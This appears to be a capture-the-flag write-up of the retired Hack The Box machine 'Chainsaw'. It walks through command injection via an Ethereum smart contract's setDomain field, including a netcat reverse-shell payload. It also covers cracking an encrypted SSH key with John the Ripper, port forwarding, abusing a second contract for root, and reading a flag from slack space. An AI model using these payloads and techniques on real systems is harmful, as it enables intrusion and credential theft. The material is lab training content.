Box Details:

Chainsaw is a retired vulnerable VM from Hack. This box is about Solidity, Ethereum Blockchain and IPFS Exploitation.



To begin the enumeration process, a TCP/UDP port scan was run against the target using nmap. The purpose of scan is to quickly determine which ports are open and which services are running.

Open Ports and Services :

In addition to usual ports

  • Port 21 : FTP Server which allows anonymous login
  • Port 22 : SSH Server
  • Port 9810 : A webserver ?
FTP Enumeration:

  chainsaw ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1001     1001        23828 Dec 05  2018 WeaponizedPing.json
-rw-r--r--    1 1001     1001          243 Dec 12  2018 WeaponizedPing.sol
-rw-r--r--    1 1001     1001           44 May 31 16:20 address.txt
226 Directory send OK.
ftp> mget *

We have got three interesting files from FTP server, after a bit of researching i found out these files are belong to a etherum smart contract.

What is a Smart Contract ?

A smart contract is an agreement between two people in the form of computer code. They run on the blockchain, so they are stored on a public database and cannot be changed.

Analyzing Smart Contract
  • WeaponizedPing.json - A compiled Solidity smart-contract in JSON format
  • WeaponizedPing.sol - .sol extention, Ethereum smart-sontract written in Solidity
  • address.txt - Address on a blockchain where the contract is been deployed.

Lets take a look at the solidity code:


pragma solidity ^0.4.24;

contract WeaponizedPing
  string store = "";

  function getDomain() public view returns (string)
      return store;

  function setDomain(string _value) public
      store = _value;
  • Smart contracts is written in Solidity, which is a contract-oriented, high-level language for implementing smart contracts.
  • A getDomain function and setDomain which accepts a string_value.
  • The getDomain function retrieves the current value of the domain string
  • setDomain set a value for the domain string

Initial Foothold:

After some enumeration and reading about etherum blockchain i found that the service running in tcp port 9810 was Ganache CLI.

Ganache (formally known as testrpc) is an Ethereum implementation written in Node.js meant for testing purposes while developing dapps locally.

Ganache CLI uses ethereumjs to simulate full client behavior and make developing Ethereum applications faster, easier, and safer. It also includes all popular RPC functions and features (like events) and can be run deterministically to make development a breez.

To interact with the Smart Contract, we need:

  • the address to identify the contract
  • Application Binary Interface of the contract (abi)

To test this vulnerability we can use setDomain() function and set the domain to our localhost and then call getDomain(). This will make the contract ping localhost, if ping successful we know we got remote code execution.

Building the Exploit:

To test our theory let’s start building a python script to interact with this contract. I will be using web3 liabrary to interect with smart contract.

Final Exploit:

#!/usr/bin/env python3
import json 
import sys
from web3 import Web3, HTTPProvider

abi = json.loads(open('WeaponizedPing.json').read())
address = open('address.txt').read().rstrip()
w3 = Web3(HTTPProvider(''))
account = w3.eth.coinbase
contract = w3.eth.contract(address=address, abi=abi['abi'])

Watch out the address.txt changes after every reset, wasted a lot of time because of this :/

User Shell

Before trying to get a remote shell lets test our theory and find if we can achieve RCE. Script will send a ping request to VPN IP.

TCP Dump to capture ping request:

  chainsaw tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
14:11:28.037126 IP > ICMP echo request, id 18359, seq 1, length 64
14:11:28.037206 IP > ICMP echo reply, id 18359, seq 1, length 64

Yes we received ICMP echo requests from our IP. Now that we know RCE possible, lets replace the ping with the payload.

Running the exploit:

python3 ‘; nc 4444 -e /bin/bash’

Waiting for reverse shell:

  chainsaw nc -lvnp 4444                                           
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 40676
uid=1001(administrator) gid=1001(administrator) groups=1001(administrator)
python -c 'import pty; pty.spawn("/bin/bash")'

Before doing anything i upgraded my shell. After that quickly searched for the user.txt but it is not here, so back to further enumeration.

System Enumeration :

I can see user another user “bobby” in the system.

administrator@chainsaw:/home$ awk -F: '$3 >= 1000 {print}' /etc/passwd
awk -F: '$3 >= 1000 {print}' /etc/passwd
bobby:x:1000:1000:Bobby Axelrod:/home/bobby:/bin/bash
administrator:x:1001:1001:Chuck Rhoades,,,,IT Administrator:/home/administrator:/bin/bash

Interesting files in maintain folder:

administrator@chainsaw:~/maintain$ cd pub && ls -al
total 28
drwxrwxr-x 2 administrator administrator 4096 Dec 13  2018 .
drwxr-x--- 3 administrator administrator 4096 Dec 13  2018 ..
-rw-rw-r-- 1 administrator administrator  380 Dec 13  2018
-rw-rw-r-- 1 administrator administrator  380 Dec 13  2018
-rw-rw-r-- 1 administrator administrator  380 Dec 13  2018
-rw-rw-r-- 1 administrator administrator  380 Dec 13  2018
-rw-rw-r-- 1 administrator administrator  380 Dec 13  2018

In pub folder we can see public key of bobby:

administrator@chainsaw:/home/administrator/maintain$ cat 
from Crypto.PublicKey import RSA
from os import chmod
import getpass

def generate(username,password):
        key = RSA.generate(2048)
        pubkey = key.publickey()

        pub = pubkey.exportKey('OpenSSH')
        priv = key.exportKey('PEM',password,pkcs=1)

        filename = "{}.key".format(username)

        with open(filename, 'w') as file:
                chmod(filename, 0600)

        with open("{}.pub".format(filename), 'w') as file:

        # TODO: Distribute keys via ProtonMail

if __name__ == "__main__":
        while True:
                username = raw_input("User: ")
                password = getpass.getpass()

This script generate the RSA keys and sent it via proton mail. Lets look for these keys, we might find the keys stored in somewhere.

InterPlanetary File System

There is a .ipfs folder in administrator’s homedirectory.

The InterPlanetary File System is a protocol and peer-to-peer network for storing and sharing data in a distributed file system. IPFS uses content-addressing to uniquely identify each file in a global namespace connecting all computing devices.

administrator@chainsaw:/home/administrator$ ls -la
ls -la
total 104
drwxr-x--- 8 administrator administrator  4096 Dec 20  2018 .
drwxr-xr-x 4 root          root           4096 Dec 12  2018 ..
lrwxrwxrwx 1 administrator administrator     9 Dec 12  2018 .bash_history -> /dev/null
-rw-r----- 1 administrator administrator   220 Dec 12  2018 .bash_logout
-rw-r----- 1 administrator administrator  3771 Dec 12  2018 .bashrc
-rw-r----- 1 administrator administrator   220 Dec 20  2018 chainsaw-emp.csv
drwxrwxr-x 5 administrator administrator  4096 Jan 23  2019 .ipfs
drwxr-x--- 3 administrator administrator  4096 Dec 12  2018 .local
drwxr-x--- 3 administrator administrator  4096 Dec 13  2018 maintain
drwxr-x--- 2 administrator administrator  4096 Dec 12  2018 .ngrok2
-rw-r----- 1 administrator administrator   807 Dec 12  2018 .profile
drwxr-x--- 2 administrator administrator  4096 Dec 12  2018 .ssh
drwxr-x--- 2 administrator administrator  4096 Dec 12  2018 .swt
-rw-r----- 1 administrator administrator  1739 Dec 12  2018 .tmux.conf
-rw-r----- 1 administrator administrator 45152 Dec 12  2018 .zcompdump
lrwxrwxrwx 1 administrator administrator     9 Dec 12  2018 .zsh_history -> /dev/null
-rw-r----- 1 administrator administrator  1295 Dec 12  2018 .zshrc

Content of IPFS folder:

administrator@chainsaw:/home/administrator/.ipfs$ ls -la
ls -la
total 36
drwxrwxr-x  5 administrator administrator 4096 Jun  9 18:38 .
drwxr-x---  8 administrator administrator 4096 Dec 20  2018 ..
drwxr-xr-x 41 administrator administrator 4096 Jun  9 18:38 blocks
-rw-rw----  1 administrator administrator 5273 Dec 13  2018 config
drwxr-xr-x  2 administrator administrator 4096 Jun  9 18:38 datastore
-rw-------  1 administrator administrator  190 Dec 13  2018 datastore_spec
drwx------  2 administrator administrator 4096 Dec 13  2018 keystore
-rw-r--r--  1 administrator administrator    0 Jun  9 18:38 repo.lock
-rw-r--r--  1 administrator administrator    2 Dec 13  2018 version

There are a lot of files in the folder, so to filtter out unrelated stuff i searched for files containing bobby inside ipfs folder using grep -iRl bobby and found few IPFS blocks which contains bobby’s data. In IPFS, a block refers to a single unit of data, identified by its key (hash)

administrator@chainsaw:/home/administrator/.ipfs$ grep -iRl bobby
grep -iRl bobby

Got few files that might contain the data. lets check:

administrator@chainsaw:/home/administrator/.ipfs$ cat blocks/OY/

��$X-Pm-Origin: internal
X-Pm-Content-Encryption: end-to-end
Subject: Ubuntu Server Private RSA Key
From: IT Department <>
Date: Thu, 13 Dec 2018 19:28:54 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------d296272d7cb599bff2a1ddf6d6374d93
To: <>
X-Attached: bobby.key.enc
Message-Id: <>
Received: from by; Thu, 13 Dec 2018 14:28:58 -0500
Return-Path: <>

Content-Type: multipart/related;boundary=---------------------ffced83f318ffbd54e80374f045d2451

Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64


Base64 decoded Mail body:

I am writing this email in reference to the method on how we access our Linux server from now on. Due to security reasons, we have disabled SSH password authentication and instead we will use private/public key pairs to securely and conveniently access the machine.<br></div><div><br></div><div>Attached you will find your personal encrypted private key. Please ask&nbsp;reception desk for your password, therefore be sure to bring your valid ID as always.
IT Administration Department

The mail attachment contains base64 encoded SSH keypair of user bobby.

Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc"

Cracking SSH Keys

The file is encrypted with triple DES in CBC mode. To decrypt the key we need to use ssh2john and convert the encrypted RSA Private Key into a hash format and feed it to JTR.

  chainsaw python bobby.key.enc.b64 > bobby_hash                     

After few seconds the key is cracked and password is jackychain

  chainsaw john --wordlist=/usr/share/wordlists/rockyou.txt  bobby_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
jackychain       (bobby.key.enc.b64)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:16 DONE (2020-06-10 05:11) 0.05938g/s 851644p/s 851644c/s 851644C/sa6_123..*7¡Vamos!
Session completed
Getting user.txt

Now I can connect as bobby and grab user.txt

  chainsaw ssh -i bobby.key.enc.b64 bobby@
Enter passphrase for key 'bobby.key.enc.b64': 
bobby@chainsaw:~$ id
uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)
bobby@chainsaw:~$ wc -l user.txt 
1 user.txt

Privilege Escalation (root)

During the enumeration for root i noticed few interesting files in bobbys home. In addition to user.txt, there are two folders in bobby’s homedirectory:

bobby@chainsaw:~$ ls
projects  resources  user.txt

Resources folder contains documentation related to IPFS:

bobby@chainsaw:~/resources$ ls
InterPlanetary_File_System.pdf  IPFS-Draft.pdf  IPFS-Presentation.pdf

Project folder contains few files related smart contract and a SUID binary:

bobby@chainsaw:~/projects$ ls -la
total 12
drwxrwxr-x 3 bobby bobby 4096 Dec 20  2018 .
drwxr-x--- 9 bobby bobby 4096 Jan 23  2019 ..
drwxrwxr-x 2 bobby bobby 4096 Jan 23  2019 ChainsawClub
ChainsawClub: Analysis

Here we have got another smart contract, Looks like we’re going to be doing some more smart contract exploitation.

Chainsaw SUID binary:

bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

      _           _
     | |         (_)
  ___| |__   __ _ _ _ __  ___  __ ___      __
 / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V  V /
 \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
- Total supply: 1000                                                                                                                                                  
- 1 CHC = 51.08 EUR                                                                                                                                                   
- Market cap: 51080 ()                                                                                                                                               
[*] Please sign up first and then log in!                                                                                                                             
[*] Entry based on merit.

Username: test
[*] Wrong credentials!

Running the binary prompt for a username and password which we don’t have, and it generate the address.txt file. Lets check the chainsawclub.sol file.


bobby@chainsaw:~/projects/ChainsawClub$ cat ChainsawClub.sol
pragma solidity ^0.4.22;

contract ChainsawClub {

  string username = 'nobody';
  string password = '7b455ca1ffcb9f3828cfdde4a396139e';
  bool approve = false;
  uint totalSupply = 1000;
  uint userBalance = 0;

  function getUsername() public view returns (string) {
      return username;
  function setUsername(string _value) public {
      username = _value;
  function getPassword() public view returns (string) {
      return password;
  function setPassword(string _value) public {
      password = _value;
  function getApprove() public view returns (bool) {
      return approve;
  function setApprove(bool _value) public {
      approve = _value;
  function getSupply() public view returns (uint) {
      return totalSupply;
  function getBalance() public view returns (uint) {
      return userBalance;
  function transfer(uint _value) public {
      if (_value > 0 && _value <= totalSupply) {
          totalSupply -= _value;
          userBalance += _value;
  function reset() public {
      username = '';
      password = '';
      userBalance = 0;
      totalSupply = 1000;
      approve = false;

Interesting functions available in the solidity file, which will be helpful when writing the exploit:

  • setUsername()
  • setPassword()
  • setApprove()
  • transfer()

Just like before we’ll write a python script to interact with the contract. I noticed that ganche-cli is running in localhost port 63991.

bobby@chainsaw:~/projects/ChainsawClub$ netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0  *               LISTEN      -                   
tcp        0      0 *               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp        0      0*               LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   

So we need to portforward,that way we can access it locally.

  chainsaw ssh -i bobby.key.enc.b64 -L 63991: bobby@
Enter passphrase for key 'bobby.key.enc.b64': 


To make our exploit work we need to:

  • Set a new username and password.
  • Approve our user
  • Transfer enough funds to join the club

We need to build a smiliar exploit justt like before.The exploit add a username ‘d3’ and set password as dog@1, approve the user and enough funds to join the club, now we can login with that credentials to chainsawclub.

Exploit code on my github repo

Root Shell

Username: d3

         * Welcome to the club! *

 Rule #1: Do not get excited too fast.
root@chainsaw:/home/bobby/projects/ChainsawClub# id
uid=0(root) gid=0(root) groups=0(root)
root@chainsaw:/home# locate root.txt
root@chainsaw:/home# cat /root/root.txt
Mine deeper to get rewarded with root coin (RTC)...

Look like we have to dig deeper to find the root.tx file. After enumerating for sometime, i coudn’t find anything and had to ask for a hint.

Slack Space

Based on the hint i found bmap tool, installed on the system and used it to read data hidden in slack-space.

bmap is a tool for creating the block map for a file or copying files using the block map,

root@chainsaw:~# bmap --slack root.txt
getting from block 2655304
file size was: 52
slack size: 4044
block size: 4096

w00t, got the root flag hidden in slack-space.

There is another way we can exploit this SUID binary, but i am totally exhausted after battling with this one for past few days, maybe i will come back to this and write about the second path to root.


This was a great box and took me a while to complete it. I learned a lot about smartcontacts,blockchain and IPFS exploitation.